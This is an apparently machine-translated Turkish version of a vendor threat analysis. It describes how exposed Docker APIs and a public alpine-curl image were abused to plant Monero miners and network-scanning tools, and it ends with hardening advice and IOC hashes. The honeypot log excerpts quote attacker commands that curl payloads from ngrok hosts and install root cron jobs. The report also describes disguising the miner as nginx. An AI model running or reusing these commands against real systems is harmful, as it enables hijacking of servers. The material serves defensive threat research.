Tescilli olmayan Docker API'si ve topluluktaki herkese açık görseller, kripto para birimi madencilerini dağıtmak için nasıl kullanılıyor?

Tescilli olmayan Docker API'si ve topluluktaki herkese açık görseller, kripto para birimi madencilerini dağıtmak için nasıl kullanılıyor?

Tehditleri takip etmek için oluşturduğumuz honeypot konteynerlerini kullanarak toplanan verileri analiz ettik. Ayrıca, Docker Hub'da topluluk tarafından yayınlanan bir görüntüyü kullanarak hileli konteynerler olarak konuşlandırılan istenmeyen veya yetkisiz kripto para birimi madencilerinden önemli miktarda etkinlik tespit ettik. Görüntü, kötü niyetli kripto para birimi madencilerine hizmet veren bir hizmetin parçası olarak kullanılıyor.

Ek olarak, açık komşu kaplara ve uygulamalara nüfuz etmek için ağlarla çalışmaya yönelik programlar kurulur.

Honeypot'larımızı herhangi bir güvenlik önlemi almadan veya sonradan ek yazılım yüklemeden, olduğu gibi yani varsayılan ayarlarla bırakıyoruz. Hatalardan ve basit güvenlik açıklarından kaçınmak için Docker'ın ilk kurulum önerileri olduğunu lütfen unutmayın. Ancak kullanılan honeypot'lar, konteynerlerin içindeki uygulamaları değil, konteynerizasyon platformuna yönelik saldırıları tespit etmek için tasarlanmış konteynerlerdir.

Tespit edilen kötü amaçlı aktivite, güvenlik açığı gerektirmemesi ve aynı zamanda Docker sürümünden bağımsız olması nedeniyle de dikkat çekiyor. Yanlış yapılandırılmış ve dolayısıyla açık bir konteyner görüntüsü bulmak, saldırganların birçok açık sunucuya bulaşmak için ihtiyaç duyduğu tek şeydir.

Kapatılmamış Docker API, kullanıcının çok çeşitli işlemleri gerçekleştirmesine olanak tanır takımlarÇalışan kapsayıcıların bir listesini almak, belirli bir kapsayıcıdan günlükleri almak, başlatmak, durdurmak (zorunlu dahil) ve hatta belirli ayarlarla belirli bir görüntüden yeni bir kapsayıcı oluşturmak dahil.

Tescilli olmayan Docker API'si ve topluluktaki herkese açık görseller, kripto para birimi madencilerini dağıtmak için nasıl kullanılıyor?
Sol tarafta kötü amaçlı yazılım dağıtım yöntemi var. Sağda, görüntülerin uzaktan yayınlanmasına olanak tanıyan saldırganın ortamı yer alıyor.

Tescilli olmayan Docker API'si ve topluluktaki herkese açık görseller, kripto para birimi madencilerini dağıtmak için nasıl kullanılıyor?
3762 açık Docker API'sinin ülkeye göre dağılımı. 12.02.2019/XNUMX/XNUMX tarihli Shodan araştırmasına dayanmaktadır

Saldırı zinciri ve yük seçenekleri

Kötü niyetli aktivite sadece bal küplerinin yardımıyla tespit edilmedi. Shodan'dan gelen veriler, Monero kripto para birimi madenciliği yazılımını dağıtmak için köprü olarak kullanılan yanlış yapılandırılmış bir konteyneri araştırdığımızdan beri açığa çıkan Docker API'lerinin sayısının (ikinci grafiğe bakın) arttığını gösteriyor. Geçen yılın ekim ayında (2018, güncel veriler) böyle görünebilirsin yakl. çevirmen) yalnızca 856 açık API vardı.

Balküpü günlüklerinin incelenmesi, konteyner görseli kullanımının aynı zamanda Ngrok, güvenli bağlantılar kurmak veya trafiği kamuya açık noktalardan belirli adreslere veya kaynaklara (örneğin localhost) iletmek için kullanılan bir araçtır. Bu, saldırganların yükü açık bir sunucuya teslim ederken dinamik olarak URL'ler oluşturmasına olanak tanır. Aşağıda ngrok hizmetinin kötüye kullanımını gösteren günlüklerdeki kod örnekleri verilmiştir:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Gördüğünüz gibi yüklenen dosyalar sürekli değişen URL'lerden indiriliyor. Bu URL'lerin son kullanma tarihi kısa olduğundan veriler son kullanma tarihinden sonra indirilemez.

İki yük seçeneği vardır. Bunlardan ilki, madencilik havuzuna bağlanan, Linux için derlenmiş bir ELF madencisidir (Coinminer.SH.MALXMR.ATNO olarak tanımlanır). İkincisi, ağ aralıklarını taramak ve ardından yeni hedefleri aramak için kullanılan belirli ağ araçlarını elde etmek için tasarlanmış bir komut dosyasıdır (TrojanSpy.SH.ZNETMAP.A).

Damlalık komut dosyası, daha sonra kripto para madencisini dağıtmak için kullanılan iki değişkeni ayarlar. HOST değişkeni, kötü amaçlı dosyaların bulunduğu URL'yi içerir ve RIP değişkeni, konuşlandırılacak madencinin dosya adıdır (aslında karma). HOST değişkeni, hash değişkeni her değiştiğinde değişir. Komut dosyası ayrıca saldırıya uğrayan sunucuda başka hiçbir kripto para birimi madencisinin çalışmadığını kontrol etmeye çalışır.

Tescilli olmayan Docker API'si ve topluluktaki herkese açık görseller, kripto para birimi madencilerini dağıtmak için nasıl kullanılıyor?
HOST ve RIP değişkenlerinin yanı sıra başka hiçbir madencinin çalışmadığını kontrol etmek için kullanılan kod pasajı örnekleri

Madenciye başlamadan önce adı nginx olarak değiştirilir. Bu betiğin diğer sürümleri, madenciyi Linux ortamlarında mevcut olabilecek diğer meşru hizmetlerle yeniden adlandırır. Bu genellikle çalışan işlemler listesindeki kontrolleri atlamak için yeterlidir.

Arama komut dosyasının da özellikleri vardır. Gerekli araçları dağıtmak için aynı URL hizmetiyle çalışır. Bunların arasında ağları taramak ve açık bağlantı noktalarının bir listesini elde etmek için kullanılan zmap ikili programı da vardır. Komut dosyası ayrıca, bulunan hizmetlerle etkileşimde bulunmak ve bulunan hizmetle ilgili ek bilgileri (örneğin, sürümü) belirlemek için onlardan başlıklar almak için kullanılan başka bir ikili programı da yükler.

Komut dosyası ayrıca taranacak bazı ağ aralıklarını da önceden belirler, ancak bu, komut dosyasının sürümüne bağlıdır. Ayrıca taramayı çalıştırmadan önce hizmetlerin (bu durumda Docker) hedef bağlantı noktalarını da ayarlar.

Olası hedefler bulunur bulunmaz pankartlar otomatik olarak onlardan kaldırılır. Komut dosyası ayrıca ilgilenilen hizmetlere, uygulamalara, bileşenlere veya platformlara bağlı olarak hedefleri filtreler: Redis, Jenkins, Drupal, MODX, Kubernetes Ustası, Docker 1.16 istemcisi ve Apache CouchDB. Taranan sunucu bunlardan herhangi biriyle eşleşirse, saldırganların daha sonra analiz ve hackleme için kullanabileceği bir metin dosyasına kaydedilir. Bu metin dosyaları saldırganların sunucularına dinamik bağlantılar aracılığıyla yükleniyor. Yani her dosya için ayrı bir URL kullanılıyor, bu da daha sonra erişimin zor olduğu anlamına geliyor.

Saldırı vektörü, sonraki iki kod parçasında görülebileceği gibi bir Docker görüntüsüdür.

Tescilli olmayan Docker API'si ve topluluktaki herkese açık görseller, kripto para birimi madencilerini dağıtmak için nasıl kullanılıyor?
Üst kısımda yasal bir hizmetin yeniden adlandırılması yer alıyor ve alt kısımda zmap'in ağları taramak için nasıl kullanıldığı gösteriliyor

Tescilli olmayan Docker API'si ve topluluktaki herkese açık görseller, kripto para birimi madencilerini dağıtmak için nasıl kullanılıyor?
En üstte önceden tanımlanmış ağ aralıkları, altta ise Docker da dahil olmak üzere hizmetleri aramak için özel bağlantı noktaları bulunur.

Tescilli olmayan Docker API'si ve topluluktaki herkese açık görseller, kripto para birimi madencilerini dağıtmak için nasıl kullanılıyor?
Ekran görüntüsü, alpine-curl görselinin 10 milyondan fazla indirildiğini gösteriyor

Dosyaları çeşitli protokoller üzerinden aktarmak için kaynak açısından verimli bir CLI aracı olan Alpine Linux ve curl'u temel alarak, Docker görüntüsü. Önceki görselde görebileceğiniz gibi bu görsel halihazırda 10 milyondan fazla kez indirildi. Çok sayıda indirme, bu görselin bir giriş noktası olarak kullanılması anlamına gelebilir; bu görsel altı aydan daha uzun bir süre önce güncellendi; kullanıcılar bu depodan diğer görselleri bu kadar sık ​​indirmediler. Docker'da giriş noktası - bir konteyneri çalıştıracak şekilde yapılandırmak için kullanılan bir dizi talimat. Giriş noktası ayarları hatalıysa (örneğin konteynerin internetten açık bırakılması), görüntü bir saldırı vektörü olarak kullanılabilir. Saldırganlar, yanlış yapılandırılmış veya desteklenmeyen açık bir konteyner bulurlarsa, bunu bir yük sağlamak için kullanabilirler.

Bu görüntünün (alpine-curl) kendisinin kötü amaçlı olmadığını ancak yukarıda da görebileceğiniz gibi kötü amaçlı işlevler gerçekleştirmek için kullanılabileceğini belirtmek önemlidir. Benzer Docker görüntüleri kötü amaçlı faaliyetler gerçekleştirmek için de kullanılabilir. Docker ile iletişime geçtik ve bu konuda onlarla birlikte çalıştık.

Öneriler

Yanlış ayar kalıntılar sürekli sorun birçok şirket için, özellikle de uygulayanlar için DevOps, hızlı geliştirme ve teslimata odaklandı. Her şey, denetim ve izleme kurallarına uyma ihtiyacı, veri gizliliğini izleme ihtiyacı ve bunlara uyulmamasından kaynaklanan büyük zarar nedeniyle daha da kötüleşiyor. Güvenlik otomasyonunu geliştirme yaşam döngüsüne dahil etmek, yalnızca normalde tespit edilemeyecek güvenlik açıklarını bulmanıza yardımcı olmakla kalmaz, aynı zamanda keşfedilen her güvenlik açığı için ek yazılım derlemeleri çalıştırmak veya bir uygulama dağıtıldıktan sonra yanlış yapılandırma gibi gereksiz iş yükünü azaltmanıza da yardımcı olur.

Bu makalede tartışılan olay, aşağıdaki tavsiyeler de dahil olmak üzere güvenliğin en baştan dikkate alınması gerektiğini vurgulamaktadır:

  • Sistem yöneticileri ve geliştiriciler için: Her şeyin yalnızca belirli bir sunucudan veya dahili ağdan gelen istekleri kabul edecek şekilde yapılandırıldığından emin olmak için her zaman API ayarlarınızı kontrol edin.
  • En az hak ilkesini izleyin: Konteyner görüntülerinin imzalandığından ve doğrulandığından emin olun, kritik bileşenlere erişimi sınırlayın (konteyner başlatma hizmeti) ve ağ bağlantılarına şifreleme ekleyin.
  • Takip et öneriler ve güvenlik mekanizmalarını etkinleştirin, ör. Docker'dan ve yerleşik güvenlik özellikleri.
  • Kapsayıcıda çalışan işlemler hakkında ek bilgi edinmek için (örneğin, kimlik sahtekarlığını tespit etmek veya güvenlik açıklarını aramak için) çalışma zamanlarının ve görüntülerin otomatik olarak taranmasını kullanın. Uygulama kontrolü ve bütünlük izleme, sunucularda, dosyalarda ve sistem alanlarındaki anormal değişikliklerin izlenmesine yardımcı olur.

Trendmicro, DevOps ekiplerinin güvenli bir şekilde oluşturmasına, hızlı bir şekilde kullanıma sunulmasına ve her yerde başlatılmasına yardımcı olur. Trend Mikro Hibrit bulut güvenliği Bir kuruluşun DevOps hattında güçlü, kolaylaştırılmış ve otomatikleştirilmiş güvenlik sağlar ve birden fazla tehdit savunması sağlar XGen Çalışma zamanında fiziksel, sanal ve bulut iş yüklerini korumak için. Ayrıca konteyner güvenliği de sağlar Derin Güvenlik и Derin Güvenlik Akıllı KontrolüTehditleri konuşlandırılmadan önce önlemek için, geliştirme sürecinin herhangi bir noktasında Docker konteyner görüntülerini kötü amaçlı yazılımlara ve güvenlik açıklarına karşı tarayan.

Uzlaşma işaretleri

İlgili karmalar:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Üzerinde Docker video kursu Pratisyen konuşmacılar, yukarıda açıklanan durumun oluşma olasılığını en aza indirmek veya tamamen önlemek için ilk önce hangi ayarların yapılması gerektiğini gösterir. Ve 19-21 Ağustos'ta çevrimiçi yoğun bir etkinlikte DevOps Araçları ve Hileleri Bu ve benzeri güvenlik sorunlarını meslektaşlarınız ve uygulamalı öğretmenlerle, herkesin konuşabileceği ve deneyimli meslektaşlarımızın acılarını ve başarılarını dinleyebileceği bir yuvarlak masada tartışabilirsiniz.

Kaynak: habr.com

Yorum ekle